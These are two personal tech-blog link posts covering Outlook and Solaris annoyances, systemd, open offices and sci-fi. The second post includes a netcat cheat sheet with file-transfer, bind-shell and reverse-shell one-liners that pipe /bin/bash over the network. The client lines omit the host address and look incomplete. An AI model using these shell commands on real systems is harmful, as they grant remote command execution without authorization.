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Links: Apr 4

My, when they would finally invent a direct interface from a brain to computer? Can’t wait, really.


  • Outlook is freaking evil: if you open a plain text email, it would happily ignore some of the new-line breaks. Crumbs! Appears that is a ‘feature’! If you need to make sure your email with command’s output will have new-lines preserved, the rule of thumb is either to have 2 spaces in front or 3 spaces at the end of each line.  Stackoverflow rules.
  • You might know I’m passionate about Solaris. Have just got more reasons for my passion. Reason one: sed can’t replace a character with ‘\n’. Seriously, you need to actually type in Enter to get it working. As if that was not enough, Solaris’s mail tool doesn’t have an option to specify subject line (yes, I know about mailx, but that complicates writing cross platform code).
  • Google cancelled underlining of links, what’s the world coming to?!
  • And a response to “Let Nagios die peacefully” — “I’ll be letting Nagios live on“, which I back.
  • systemd development culture seems to have a detrimental effect on the mental health of people being involved. Have heard many times a range of complaints about Linus’s harsh management manners, but I’m inclined to think that Linux became possible in its current form in many ways thanks to such streaks in Linus’s character.

Putting my favourite vim cheat sheet here, so I don’t have to plough through google-results next time I need to recall how to use named registers.


And to finish up on a cheerful note: How it feels to be an Engineer in the Corporate World


I’m happy I don’t feel like that, but it does ring some bells, doesn’t it? See ya.

Links: Jan 19th


Okay, you’d think Murphy laws were jokes. But as situation in Ukraine shows most of them are true, aren’t they?

All of this really saddens me and spoils good faith in further; but it does demonstrate the essence of real world and people’s desires. Turning though from harsh reality to wonders of virtual world, let’s start with few reminder links:

Suppose you want to transfer a file “file.txt” from server A to client B.
Server: $ nc -l 4444 < file.txt
Client: $ nc -n 4444 > file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:
Server: $ nc -l 4444 > file.txt
Client: $ nc 4444 < file.txt

Remote shell:
Server: $ nc -l 4444 -e /bin/bash -i
Client: $ nc 4444

Reverse remote shell:
Server: $ nc -l 4444
Client: $ nc 4444 -e /bin/bash




  • Physicist Lawrence Krauss gives a talk on our current picture of the universe, how it will end, and how it could have come from nothing. Very thrilling talk on cosmology:

  • Open offices are an unfortunate misunderstanding. New Yorker:

The open office was originally conceived by a team from Hamburg, Germany, in the nineteen-fifties, to facilitate communication and idea flow. But a growing body of evidence suggests that the open office undermines the very things that it was designed to achieve. In June, 1997, a large oil and gas company in western Canada asked a group of psychologists at the University of Calgary to monitor workers as they transitioned from a traditional office arrangement to an open one. The psychologists assessed the employees’ satisfaction with their surroundings, as well as their stress level, job performance, and interpersonal relationships before the transition, four weeks after the transition, and, finally, six months afterward. The employees suffered according to every measure: the new space was disruptive, stressful, and cumbersome, and, instead of feeling closer, coworkers felt distant, dissatisfied, and resentful. Productivity fell.

When the Avatar was first released I was appalled by claims that it was touted as ‘totally original work from the mind of Cameron’. I was sure that many years ago I read strikingly similar story by some of well-known sci-fi writers, but was struggling to remember the name of either the novel or the author. There was the same paraplegic hero who telepathically connected with an artificially created life form in order to explore a harsh planet and get access to its resources. Doesn’t it sound similar to the Avatar’s plot?

Recently I accidentally stumbled upon this novel — that was Poul Anderson’s Call Me Joe, written in (!) 1957. This is a classic sci-fi masterpiece and I would recommend reading it any time.